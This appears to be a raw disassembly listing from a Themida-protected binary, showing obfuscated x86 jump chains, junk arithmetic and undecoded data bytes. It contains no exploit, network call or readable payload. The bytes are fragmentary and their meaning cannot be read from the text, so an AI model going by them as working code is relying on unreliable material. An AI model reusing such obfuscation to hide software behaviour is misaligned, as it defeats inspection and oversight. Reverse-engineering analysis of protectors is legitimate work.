dd 0FF0CBCE9h, 4CE95CFFh db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56C637: ; CODE XREF: Themida_:005601F0j ; Themida_:00568518j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_56ECBB ; --------------------------------------------------------------------------- dw 0C483h dd 4C48304h, 3E0F68h, 4B86E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C65A: ; CODE XREF: Themida_:0056226Ej pop esi jmp loc_566864 ; --------------------------------------------------------------------------- dd 2AE95053h, 5CFFFFA8h, 52243C89h, 64E9C289h, 29FFFF89h dd 0BD552404h, 43135E74h, 4246C29h, 2404815Dh, 12246E1Bh dd 0FF5B0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56C68D: ; CODE XREF: Themida_:0056803Fj mov eax, [esp] add esp, 4 push esi mov esi, 38382FE4h or esi, 39827E56h inc esi and esi, 73DC6C41h neg esi jmp loc_571F87 ; --------------------------------------------------------------------------- loc_56C6B0: ; CODE XREF: Themida_:0056048Cj pop ebp push esi mov esi, 6CF21E24h xor ebp, esi mov esi, [esp] jmp loc_5703D2 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 7 dd 0FF0D2AE9h db 0FFh ; --------------------------------------------------------------------------- loc_56C6C9: ; CODE XREF: Themida_:0055DA9Fj sub esp, 4 jmp loc_5726AC ; --------------------------------------------------------------------------- dd 0FB58B6BEh, 9FD5E90Dh, 3487FFFFh, 27E95C24h, 8900000Ch dd 4C781E7h, 81000000h, 4C7h, 4941E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C6FA: ; CODE XREF: Themida_:0055EA74j xor [eax], ecx pop eax jmp loc_571886 ; --------------------------------------------------------------------------- loc_56C702: ; CODE XREF: Themida_:0056FD37j xor [eax], ecx pop eax mov edx, [esp] add esp, 4 xor ecx, [edi+24h] push edx jmp loc_566239 ; --------------------------------------------------------------------------- loc_56C717: ; CODE XREF: Themida_:005613E3j mov dh, 89h dec dh add dh, 0Ah sub ah, dh pop edx mov ch, ah jmp loc_5604E1 ; --------------------------------------------------------------------------- dd 0FF0BC0E9h, 4BE56FFh, 1000000h, 5E042474h, 0E92434FFh dd 3CE7h ; --------------------------------------------------------------------------- loc_56C740: ; CODE XREF: Themida_:00571EE1j pop edx jmp loc_5710B2 ; --------------------------------------------------------------------------- loc_56C746: ; CODE XREF: Themida_:00564266j mov edx, ebx pop ebx sub ebp, 11414E52h add ebp, edx add ebp, 11414E52h pop edx pop edi sub ebp, 4 jmp loc_56A25E ; --------------------------------------------------------------------------- db 0C0h, 0E5h, 3 dd 0E9D9C580h, 0FFFF2653h ; --------------------------------------------------------------------------- loc_56C76C: ; CODE XREF: Themida_:005674B8j not esi jmp loc_5706DA ; --------------------------------------------------------------------------- loc_56C773: ; CODE XREF: Themida_:0055EA46j add esp, 4 pop ecx jmp loc_56FE61 ; --------------------------------------------------------------------------- db 1 dd 24048BC6h, 0FFBD0BE9h, 2C8B5BFFh, 433DE924h, 875F0000h dd 525C2404h, 7E7480BAh, 7F07E965h, 77FFFFFFh, 0B43E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C7AA: ; CODE XREF: Themida_:0056371Ej shr eax, 6 add eax, 74A73B90h not eax add eax, 15C4ECBAh sub ebp, eax pop eax push 4CBFh mov [esp], ebx jmp loc_570C11 ; --------------------------------------------------------------------------- aIZsE db '┴уZИ[E',0 db 0 ; --------------------------------------------------------------------------- loc_56C7D1: ; CODE XREF: Themida_:0055ED69j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_56E775 ; --------------------------------------------------------------------------- loc_56C7E5: ; CODE XREF: Themida_:005727E8j pop esp mov edx, [esp] add esp, 4 push 562Ah jmp loc_567999 ; --------------------------------------------------------------------------- db 55h, 53h, 0E9h dd 0FFFF25C6h, 46850h, 34FF0000h, 0E6E95824h, 66000062h dd 0E9240C8Bh, 0FFFFE2F5h, 3681B951h, 0D9F72E51h, 0C879F181h dd 0CF01D9AEh, 26E1E9h db 0 ; --------------------------------------------------------------------------- loc_56C82D: ; CODE XREF: Themida_:00560393j sub edi, 270A5B00h add edi, ecx jmp loc_56DC94 ; --------------------------------------------------------------------------- dw 0D3F7h dd 0DCBBEB81h, 0E1E9C515h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56C847: ; CODE XREF: Themida_:0056DEFFj push edx mov dl, 2Ch add dl, 83h inc dl push ecx mov cl, 4 jmp loc_56D396 ; --------------------------------------------------------------------------- db 81h dd 4301D7E7h, 47D7F738h, 81E18951h, 4C1h, 4E98300h, 0E9240C87h dd 50FCh, 4C281h, 0EA830000h, 74FF5204h, 148B0424h, 70BFE924h dd 489FFFFh, 23E95324h, 50FFFF50h, 0B3208768h, 301E97Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C89E: ; CODE XREF: Themida_:0055D8EFj push 6A35h jmp loc_56A406 ; --------------------------------------------------------------------------- dd 8ACAEF81h, 0F901B675h, 0E9CF895Fh, 3C7Ah, 51241C89h dd 3E0EEC68h, 5FA3E962h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C8C6: ; CODE XREF: Themida_:00564456j mov ecx, [esp] add esp, 4 mov edi, [esp] jmp loc_56553B ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 4E981h, 61E90000h, 80FFFF3Ah, 0CA80B1E2h dd 0E1C28057h, 1E13E9h, 5BDF2900h, 815FFA01h, 4ECh, 3F5AE900h dd 0C4810000h, 4, 8101C583h, 0F43B5FF5h, 0E9EDD171h, 0FFFF0B07h ; --------------------------------------------------------------------------- loc_56C920: ; CODE XREF: Themida_:0055DB5Ej add ecx, 3D793C65h xor edx, ecx pop ecx add ebp, edx jmp loc_563AC2 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 34FF2434h, 5144E924h, 0C581FFFFh, 764901B3h dd 0ED81DDF7h, 27D571D0h, 5594E953h, 0C7010000h, 74BEC781h dd 0B85066CAh, 50E24172h, 5703E8C1h, 996A23BFh, 8EFC115h dd 0DFF7D7F7h, 0FFFFEF81h, 0AAE9FFFFh, 46FFFF69h, 5734EE81h dd 0F229A68Bh, 0FDBF575Eh, 0E9A8D13Ch, 0FFFF5A2Bh, 6F0814BDh dd 3F08E913h, 0EF010000h, 81242C8Bh, 4C4h, 1036E900h, 814F0000h dd 0B605A9F7h, 0E3CF810Ah, 4F54180Fh, 8103E7C1h, 0E8014C7h dd 5FFE0109h, 8B243487h, 9FE92424h, 0FFFFFFD6h, 815A2434h dd 4C4h, 4C28100h, 68000000h, 6373h, 1AC6E9h, 0E9555000h dd 0FFFF9DB7h, 0AA600E05h, 2DC80145h, 45AA600Eh, 0EB367B05h dd 0DDE95609h, 31FFFFFBh, 56E95BDEh db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CA0F: ; CODE XREF: Themida_:00560854j mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx pop edx xchg edi, [esp] pop esp jmp loc_5602E1 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0F8h dd 68384879h, 471Fh, 0E9243489h, 0FFFF7426h, 662414F6h dd 8324148Bh, 0B55102C4h, 38C280E7h, 0EA80EA28h, 261CE938h dd 315FFFFFh, 2434FFF0h, 4C4815Eh, 81000000h, 293FDCC6h dd 68C60114h, 299Ah, 5C80E9h db 0 ; --------------------------------------------------------------------------- loc_56CA75: ; CODE XREF: Themida_:0056A3B2j or ch, bl jmp loc_56A7B7 ; --------------------------------------------------------------------------- loc_56CA7C: ; CODE XREF: Themida_:0056F405j pop eax jmp loc_565476 ; --------------------------------------------------------------------------- loc_56CA82: ; CODE XREF: Themida_:005677E5j mov eax, [esp] jmp loc_5726EC ; --------------------------------------------------------------------------- loc_56CA8A: ; CODE XREF: Themida_:0055DBEAj push ebp not dword ptr [esp] pop ebp push edx mov edx, 2ED72FF3h xor ebp, edx pop edx push ebx mov ebx, 317439DBh xor ebp, ebx mov ebx, [esp] add esp, 4 xor ebp, 0B8B6A11Ch add eax, ebp pop ebp push ecx jmp loc_560CE7 ; --------------------------------------------------------------------------- loc_56CAB5: ; CODE XREF: Themida_:0056857Fj pop eax push esi mov esi, 3B6A10E7h jmp loc_570233 ; --------------------------------------------------------------------------- db 88h, 0E2h, 8Bh dd 0C4812404h, 4, 83241C8Bh, 665204C4h, 8A29E952h, 4868FFFFh dd 0E9000007h, 0FFFFC64Fh, 0D1D3F743h, 52EBD1E3h, 0E08DDFBAh dd 5AD33129h, 815BDD89h, 7E3169C5h, 58F58176h, 811E5627h dd 33AC73C5h, 5DE8013Dh, 405h, 0CB27E900h, 815BFFFFh, 823251EBh dd 5BDF8907h, 15FF889h, 2434FFC1h, 4C48358h, 0FFA407E9h dd 40166FFh, 0FBE99C24h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56CB3B: ; CODE XREF: Themida_:00571C95j push 7519h mov [esp], edx mov edx, 4 add ecx, edx pop edx push edi mov edi, 4 jmp loc_5642E3 ; --------------------------------------------------------------------------- dw 0FE20h aFAcuaP db 'f[─Ф·─ф▐',0 db 0F1h, 5Ah, 50h dd 7DE9h, 51BA5200h, 810B090Ch, 0F6F3B3C2h, 22BA52F4h dd 0E959FF0Ch, 0FFFF749Bh, 0BF68FE87h, 8900004Dh, 8AE9240Ch dd 5FFFFF92h, 2496F781h, 8B5D48BFh, 59E92434h, 58000026h dd 5F1C7135h, 58C38936h, 0FFB71DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56CBAD: ; CODE XREF: Themida_:0056444Fj push eax jmp loc_56AFB8 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 18F2h, 54242C89h, 95BE565Dh, 0C1474A59h dd 0E95506E6h, 0FFFFC172h, 405E089h, 83000000h, 48704C0h dd 24248B24h, 9F36E953h, 0CC88FFFFh, 3167E9h db 0 ; --------------------------------------------------------------------------- loc_56CBED: ; CODE XREF: Themida_:0055ECB5j xor [esp], edi xor edi, [esp] xor [esp], edi not edi push edi jmp loc_563004 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 5D04246Ch, 0BBB8505Eh, 0D14BE457h, 0F37E9E0h dd 1C330000h, 24248B24h, 240C8B66h, 4EC81h, 0C890000h dd 3B736824h, 24890000h, 5D5CE924h, 87590000h, 895C241Ch dd 1BE2434h, 14F1F2Bh, 2C8B5EF0h, 6149E924h, 0C781FFFFh dd 4, 8704C783h, 0F2E9243Ch, 1FFFFAAh, 242C8BE8h, 83E08950h dd 148904ECh, 6720BA24h, 0EAC16136h, 6EAC107h, 0B6F2814Ah dd 1000309h, 2434FFD0h, 0E089505Ah, 405h, 40500h, 4870000h dd 0C0835C24h, 24048704h, 4AE95D5Ch, 0C1FFFF06h, 0E58102EDh dd 371E565Ch, 4CC4F581h, 0BA52626Eh, 1DF50378h, 0FF9A78E9h dd 4BBFFh, 0E9500000h, 19D0h, 1714642Dh, 604E2D35h, 15E93F36h dd 8100002Bh, 4F6E242Ch, 815E7C48h, 484F6EC6h, 0E6815B7Ch dd 3C0073BFh, 6577F681h, 0E68129D9h, 3F762634h, 0C101EE83h dd 0E95504E6h, 0FFFFAE17h, 0F1C6815Fh, 81020014h, 0FF4576EEh dd 5EF10122h, 0FFD22AE9h db 0FFh ; --------------------------------------------------------------------------- loc_56CD19: ; CODE XREF: Themida_:005680DDj add edi, 2D3672DCh jmp loc_568F28 ; --------------------------------------------------------------------------- loc_56CD24: ; CODE XREF: Themida_:0055D8C5j add ebp, esi pop esi add ebp, 4 push 3DD6h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_55E565 ; --------------------------------------------------------------------------- dw 0A604h dd 1DBFE9h db 0 ; --------------------------------------------------------------------------- loc_56CD49: ; CODE XREF: Themida_:00569A7Bj pop edi add [esp+4], ecx sub dword ptr [esp+4], 6A9F12CAh pop ecx pop ecx push ebx push eax mov eax, 4F5B2B4Dh shr eax, 2 sub eax, 796012EDh sub eax, 39B97E6Dh xor eax, 60BD397Dh mov ebx, eax jmp loc_5711F9 ; --------------------------------------------------------------------------- loc_56CD78: ; CODE XREF: Themida_:0056F3D1j sub esp, 4 mov [esp], eax push 660B7622h jmp loc_5636EB ; --------------------------------------------------------------------------- db 0F7h dd 87DA87D3h, 4E7C1D7h, 260EEF81h, 89578049h, 77EAE9E7h dd 0D301FFFFh, 0FF6A51E9h, 242C8BFFh, 4C481h, 8D680000h dd 89000002h, 0EC83243Ch, 48F5404h, 24048124h, 4, 81243C8Bh dd 4C4h, 4C78100h, 52000000h, 4BF7BB53h, 0FBBA3E94h, 813E944Bh dd 677504EAh, 81DA292Ah, 677504C2h, 0D7015B2Ah, 8124148Bh dd 4C4h, 243C3300h, 33243C31h, 248B243Ch, 0FB7E924h, 0F001FFFFh dd 2A5FE9h db 0 ; --------------------------------------------------------------------------- loc_56CE15: ; CODE XREF: Themida_:00572B2Aj sub ah, 8Eh dec ah jmp loc_565C90 ; --------------------------------------------------------------------------- db 33h dd 4312404h, 24043324h, 2404315Ch, 0FF04BCE9h db 0FFh ; --------------------------------------------------------------------------- loc_56CE31: ; CODE XREF: Themida_:00571A5Ej pop esi jmp loc_56F42B ; --------------------------------------------------------------------------- aHo db '\h╝=',0 dd 241C8900h, 84E95250h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56CE47: ; CODE XREF: Themida_:0055F603j push edi mov edi, 1B071B08h mov ecx, edi jmp loc_5698BE ; --------------------------------------------------------------------------- aFyzs db '(хfYZИ',0 db 1Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CE5E: ; CODE XREF: Themida_:0055F9EDj push ecx mov ecx, 5ACF6D63h sub ebx, ecx pop ecx sub ecx, 795F30FAh sub ecx, ebx add ecx, 795F30FAh jmp loc_569281 ; --------------------------------------------------------------------------- dw 148Bh dd 0A7AFE924h, 2BEFFFFh, 52000000h, 5D7DBDBAh, 66CA8161h dd 81659466h, 850588CAh, 5E2C11Ch, 892EEA81h, 0D00175B5h dd 498E2D5Ah, 0F001658Dh, 0FF7D65E9h db 0FFh ; --------------------------------------------------------------------------- loc_56CEB1: ; CODE XREF: Themida_:00568113j add esp, [edx+38h] push ebx push 7CCh jmp loc_56F5F1 ; --------------------------------------------------------------------------- db 89h dd 684E9E7h, 5058FFFFh, 2021B8h, 2E8C10Bh, 9A940548h, 0C6317A39h dd 8B5B5658h, 0C4812434h, 4, 9F2B951h, 0E9C13BFEh, 0F7E98107h dd 0E92CE708h, 0FFFF7F8Bh, 3C96BF57h, 0FD211C73h, 81D5F75Fh dd 0B57D5EEDh, 5DE989DCh, 13D9E9h, 0F9876600h, 66DFF766h dd 8166F987h, 662ABBC9h, 6E03C181h, 66CA2966h, 0D0016659h dd 0C331665Ah, 57C0B70Fh, 0FFE403E9h, 5E6C1FFh, 6F59E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56CF42: ; CODE XREF: Themida_:0056EA3Ej mov ebp, 1A860A43h xor ebp, 91968212h jmp loc_5689D4 ; --------------------------------------------------------------------------- loc_56CF52: ; CODE XREF: Themida_:00565A94j pop ebp dec edx push esi jmp loc_571FE6 ; --------------------------------------------------------------------------- loc_56CF5A: ; CODE XREF: Themida_:00568573j sub edi, 558D366Eh add edi, 74EE4520h add edi, ecx sub edi, 74EE4520h add edi, 558D366Eh push ebp jmp loc_56DD84 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 3C8BF889h, 4C48124h, 0E9000000h, 5A94h ; --------------------------------------------------------------------------- loc_56CF90: ; CODE XREF: Themida_:00566AFDj pop edi push ecx mov ecx, esp add ecx, 4 jmp loc_56BA8B ; --------------------------------------------------------------------------- db 5Ah dd 0FF5A32E9h, 4C481FFh, 83000000h, 148704C2h, 4C2C5C24h dd 4C04D800h, 0EC83082Ch, 24148904h, 803AB450h, 0C480B8F4h dd 0DDF0E9CFh, 0C688FFFFh, 0FFADA4E9h, 4E2C1FFh, 5B11BF57h dd 0EFC1277Fh, 0D8C78104h, 0E946E70Bh, 0FFFFBE54h, 485B842Dh dd 242C8B12h, 4C481h, 20E90000h, 4AFFFFFEh, 563BBE56h dd 0F681684Bh, 805BCEF3h, 525EF231h, 7F2D5A5Fh, 1066016h dd 143DE9F8h, 1C33FFFFh, 24248B24h, 34FF5450h, 0C4835824h dd 4AD6E904h, 34B40000h, 0E4C0DCF6h, 80DCF605h, 0E22087C4h dd 67E3E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_56D046: ; CODE XREF: Themida_:0056C142j retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF02A1h, 1F185805h, 0A993E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D056: ; CODE XREF: Themida_:0056EFD7j add esp, 4 add esp, 4 add esp, 4 or eax, eax jz loc_56B8CD push dword ptr [edi+28h] push eax push edi jmp loc_571F08 ; --------------------------------------------------------------------------- loc_56D077: ; CODE XREF: Themida_:005615F5j push esp pop ebx push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shr eax, 0Ah xor eax, ecx push 65EAh mov [esp], eax jmp loc_56A844 ; --------------------------------------------------------------------------- loc_56D0A4: ; CODE XREF: Themida_:0056A2A7j push 1EFBh mov [esp], eax push ebx jmp loc_570FED ; --------------------------------------------------------------------------- dw 5D2Ch dd 5D04D800h, 1C8B7C2Ch, 4C48324h, 0E97CB551h, 0FFFF4017h dd 8B241C89h, 0C4812414h, 4, 0E92434FFh, 0FFFFC223h, 68243C8Bh dd 397h, 54243C89h, 4B9515Fh, 1000000h, 73D7E9CFh, 74FFFFFFh dd 8F5F0424h, 18E92404h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D103: ; CODE XREF: Themida_:0055E24Aj pop ecx push eax mov eax, 4 add ebp, eax jmp loc_5629C1 ; --------------------------------------------------------------------------- loc_56D111: ; CODE XREF: Themida_:0056C291j push edx mov edx, esp jmp loc_5714AC ; --------------------------------------------------------------------------- loc_56D119: ; CODE XREF: Themida_:0056E0FEj xchg eax, [esp] jmp loc_5657F8 ; --------------------------------------------------------------------------- db 58h, 0E9h, 9Eh db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D127: ; CODE XREF: Themida_:0056F6AAj pop ecx shl edx, 2 xor edx, 0AF10AE2h jmp loc_56FF3B ; --------------------------------------------------------------------------- dw 28Fh dd 0FF1AD8E9h, 8E5C1FFh, 0C504F581h, 0EE017888h, 152CE9h db 0 ; --------------------------------------------------------------------------- loc_56D14D: ; CODE XREF: Themida_:00567595j pop ecx add ebx, eax mov eax, [esp] add esp, 4 xchg ebx, [esp] pop esp push ecx push 7113h push esp pop dword ptr [esp] push 6B7Eh mov [esp], ecx mov ecx, 4 push edi jmp loc_569A72 ; --------------------------------------------------------------------------- loc_56D177: ; CODE XREF: Themida_:00568073j push esp pop esi add esi, 4 jmp loc_56F120 ; --------------------------------------------------------------------------- dd 4C681h, 4FE90000h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D18F: ; CODE XREF: Themida_:00567F2Ej pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ecx jmp loc_56FF5F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0A215E959h, 0B850FFFFh, 7E940C4Dh, 2958C529h, 0AFD5E9FDh dd 0F581FFFFh, 235F4E6Ch, 7E9E921h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D1CB: ; CODE XREF: Themida_:0056D66Aj mov edi, [esp] add esp, 4 jmp loc_56C499 ; --------------------------------------------------------------------------- db 5Ch, 31h, 0E8h dd 0FF101CE9h, 4C281FFh, 0E9000000h, 0FFFF1AADh ; --------------------------------------------------------------------------- loc_56D1EC: ; CODE XREF: Themida_:00567294j xor ebp, edi pop edi sub ebp, 2C29725Eh add ebp, 1 not ebp not ebp push esi jmp loc_562639 ; --------------------------------------------------------------------------- loc_56D205: ; CODE XREF: Themida_:0056BD7Fj pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- db 66h dd 587CF381h, 0E9DF0966h, 0FFFFAC52h ; --------------------------------------------------------------------------- loc_56D218: ; CODE XREF: Themida_:0056C452j sub edx, 0E4C63BFDh xor eax, edx jmp loc_56476C ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 42h dd 48F1C281h, 0F7422D56h, 0D0EA81D2h, 141AC35h, 24148BD6h dd 4C481h, 0C6830000h, 24348704h, 0E789575Ch, 0FF7D6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56D251: ; CODE XREF: Themida_:0056747Fj push 71E459E8h mov ebx, [esp] add esp, 4 shr ebx, 4 xor ebx, 5756623Ah add ebx, 0DFD15A28h push ecx push ebx add dword ptr [esp], 7AD234DCh pop ecx sub ecx, 7AD234DCh push ebx jmp loc_567199 ; --------------------------------------------------------------------------- db 29h, 0C8h, 8Bh dd 0FDE9240Ch, 89FFFFD7h, 0EFE92434h, 5FFFFFBh, 3C220F9Dh dd 560EE9h, 8864B700h, 19BE9FDh, 0E958FFFFh, 748h ; --------------------------------------------------------------------------- loc_56D2AC: ; CODE XREF: Themida_:0056360Fj pop edx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_56A1B4 ; --------------------------------------------------------------------------- loc_56D2C1: ; CODE XREF: Themida_:0056769Dj xor ecx, 6CC81AA0h mov ebp, ecx jmp loc_570331 ; --------------------------------------------------------------------------- dw 0EA81h dd 6EEE0CF1h, 5EB4EA81h, 0CA295ACAh, 5EB4C281h, 0BD555ACAh dd 6EEE0CF1h, 0FF9F34E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D2ED: ; CODE XREF: Themida_:005654BAj mov esi, 178C7879h mov eax, 637A6A8h add eax, 63CB63FDh add eax, esi sub eax, 63CB63FDh mov esi, [esp] add esp, 4 jmp loc_56FA05 ; --------------------------------------------------------------------------- dw 0C288h dd 241C8B58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop ecx xchg ah, dl not ah jmp loc_565078 ; --------------------------------------------------------------------------- db 1, 0DAh, 81h dd 3A79F5EAh, 42EA811Ch, 5B291E35h, 31241433h, 14332414h dd 0EC835C24h, 0B833E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D352: ; CODE XREF: Themida_:0055E252j pop ebp jmp loc_560474 ; --------------------------------------------------------------------------- dd 0E9241C87h, 24C4h, 7798E381h, 0C3815C4Ah, 0B3FD89FCh dd 0FFCECDE9h db 0FFh ; --------------------------------------------------------------------------- loc_56D371: ; CODE XREF: Themida_:0056E848j pop esp pop dword ptr [esp] mov esp, [esp] add eax, 7A4E054Eh jmp loc_56D9A2 ; --------------------------------------------------------------------------- dw 0A7BAh dd 0E9514E39h, 0FFFF913Ah, 89F28952h, 2FE7E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56D396: ; CODE XREF: Themida_:0056C852j sub cl, 1Fh jmp loc_566224 ; --------------------------------------------------------------------------- dw 468h dd 0FF000000h, 815D2434h, 4C4h, 68555200h, 4F407CF4h, 4439E9h dd 6EB8100h, 0E9474113h, 40A4h, 0B9240C89h, 4, 4244C01h dd 0FFCAAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56D3D5: ; CODE XREF: Themida_:0056EB5Aj sub ebp, 2AFC5E55h jmp loc_561BB6 ; --------------------------------------------------------------------------- dd 8B243C87h, 0D1212424h, 52D1F75Ah, 0FF9EA8E9h, 4C681FFh dd 50000000h, 4B8h, 8BC60100h, 0C4812404h, 4, 0FEFFF3E9h dd 81454DFFh, 0B22E1FF5h, 5CF2E9C9h, 0F281FFFFh, 508E6F67h dd 0ADC2815Fh, 51155751h, 0FF03E3E9h, 4BBFFh, 0EF810000h dd 0C200174h, 0FF0024E9h, 1D9ABAFFh, 0EA815A4Dh, 767E7D57h dd 0A047F281h, 0D301E3CEh, 4112E95Ah, 895D0000h, 24048BC5h dd 4C481h, 0EB810000h, 30C377AFh, 1FE9EB01h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D46F: ; CODE XREF: Themida_:0055D8D4j sub edi, 31BD18D9h add edi, ebx add edi, 31BD18D9h jmp loc_566B51 ; --------------------------------------------------------------------------- loc_56D482: ; CODE XREF: Themida_:0056341Cj push edx jmp loc_570B4A ; --------------------------------------------------------------------------- dd 0C80088B1h, 0D0005966h, 88B15166h, 0FFF9BBE9h, 4BFFFh dd 0FB890000h, 0BEE815Fh, 179AE5Bh, 0BC681DEh, 5B79AE5Bh dd 0E9243433h, 0FFFF043Ch ; --------------------------------------------------------------------------- loc_56D4B8: ; CODE XREF: Themida_:00569C1Fj push ebp mov ebp, 0A47DDE7Ch sub ebx, ebp pop ebp mov edx, ebx pop ebx mov dword ptr [edi+20h], 0F350B72h jmp loc_5627E4 ; --------------------------------------------------------------------------- dd 308BB059h, 0CE2FE9F8h, 0EF81FFFFh, 11560DA9h, 0E9FA8952h dd 0FFFFF2E1h ; --------------------------------------------------------------------------- loc_56D4E8: ; CODE XREF: Themida_:0055EB92j add eax, 4 xchg eax, [esp] pop esp push ecx push 7E52h jmp loc_56464F ; --------------------------------------------------------------------------- dd 2822BA52h, 0D0014777h, 8324148Bh, 0D9E904C4h, 89FFFF3Eh dd 4BF243Ch, 1000000h, 11E6E9FDh, 0FF560000h, 5E042474h dd 5C24048Fh, 83243489h, 24E904ECh, 0FFFFFFDBh, 815B2434h dd 4C4h, 28BD0400h, 0B15166F0h, 286B04BDh, 0AD5E9C8h, 7EB90000h dd 0F72E7D55h, 75E981D9h, 0E9160E41h, 3806h, 39F3C981h dd 0F1816BC1h, 200E4Dh, 0C8BCA29h, 4C48124h, 1000000h dd 1C335AD3h, 241C3124h, 8B241C33h, 34FF2424h, 2434FF24h dd 8324048Bh, 0C48304C4h, 0E1895104h, 0EFE7E957h, 0F030FFFFh dd 0FF36A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D5A5: ; CODE XREF: Themida_:00568B31j add esp, 4 add bl, 0F7h add bl, al sub bl, 0F7h add bl, 69h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h, 66h dd 6824048Bh, 6942h, 54241C89h, 51241C8Bh, 0C181E189h dd 4, 1015E9h, 0C7815F00h, 4, 4EF81h, 3C870000h, 96E95C24h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D5EF: ; CODE XREF: Themida_:0056F1BCj add esp, 4 push 4634h mov [esp], ecx push 3FAh mov [esp], eax mov eax, 5CBA32C3h xor eax, 9AE4555h sub esp, 4 mov [esp], ecx jmp loc_56DCB7 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 52000000h, 0FF40F2E9h, 4C481FFh, 81000000h dd 4C5h, 99E95200h, 5AFFFF4Eh, 8DE9CF88h, 52FFFFFEh, 0C747B6BAh dd 2FF2810Ah, 50761238h, 4E0A67B8h, 58C2296Ah, 0B5789D05h dd 1A2AE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D662: ; CODE XREF: Themida_:0056549Aj mov edi, edx pop edx add eax, edi push dword ptr [esp] jmp loc_56D1CB ; --------------------------------------------------------------------------- db 81h dd 0A706A4EDh, 0A4E9596Bh, 8B00003Eh, 0B60F2424h, 494468C8h dd 0C890000h, 0FC5FE924h, 0C581FFFEh, 4, 2474FF55h, 0FFE95D04h dd 87FFFEFCh, 0FE5C2404h, 50C280CAh, 4CC968h, 24048900h dd 7AE9h, 0EE814E00h, 54333C08h, 0D6F7DEF7h, 0FF9946E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D6C5: ; CODE XREF: Themida_:005715AFj xchg edi, [esp] pop esp jmp loc_562C5D ; --------------------------------------------------------------------------- loc_56D6CE: ; CODE XREF: Themida_:00563C1Ej push 45B6h mov [esp], eax push 1393h mov [esp], esp add dword ptr [esp], 4 pop eax push ebp jmp loc_56A82A ; --------------------------------------------------------------------------- loc_56D6EC: ; CODE XREF: Themida_:0056AF55j mov esi, ebp pop ebp add eax, 32611ED4h add eax, esi sub eax, 32611ED4h pop esi xchg eax, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0BB53E289h, 756E7751h, 774DEB81h, 0DA01756Eh, 4C2815Bh dd 87000000h, 0BFE92414h, 51FFFFA6h, 0C980B7B1h, 0E95066C1h dd 0FFFF32C3h, 0BBEA8158h, 0E93B3A4Ch, 0FFFFE7AAh, 3FFB68h dd 243C8900h, 1BCD6851h, 0C8B6681h, 4C48324h, 8904EC83h dd 2BBF243Ch, 47235E4Eh, 2CECEF81h, 0E7C14930h, 0FFF78105h dd 0E90A3046h, 0FFFFF12Ch ; --------------------------------------------------------------------------- loc_56D77C: ; CODE XREF: Themida_:00561007j add dword ptr [esp], 4 pop dword ptr [esp] push 444Ah mov [esp], ebp mov ebp, 547A0D63h and ebp, 0A44433Dh jmp loc_56FC6B ; --------------------------------------------------------------------------- db 50h dd 0C588D888h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov [edx], ch push dword ptr [esp] pop ecx add esp, 4 pop ebx jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56D7C8: ; CODE XREF: Themida_:00560BC7j pop eax jmp loc_571BFA ; --------------------------------------------------------------------------- dw 0A3B9h dd 31198C34h, 87495BD9h, 87DEF7F1h, 74F181F1h, 0E9293E04h dd 0FFFF5B67h ; --------------------------------------------------------------------------- 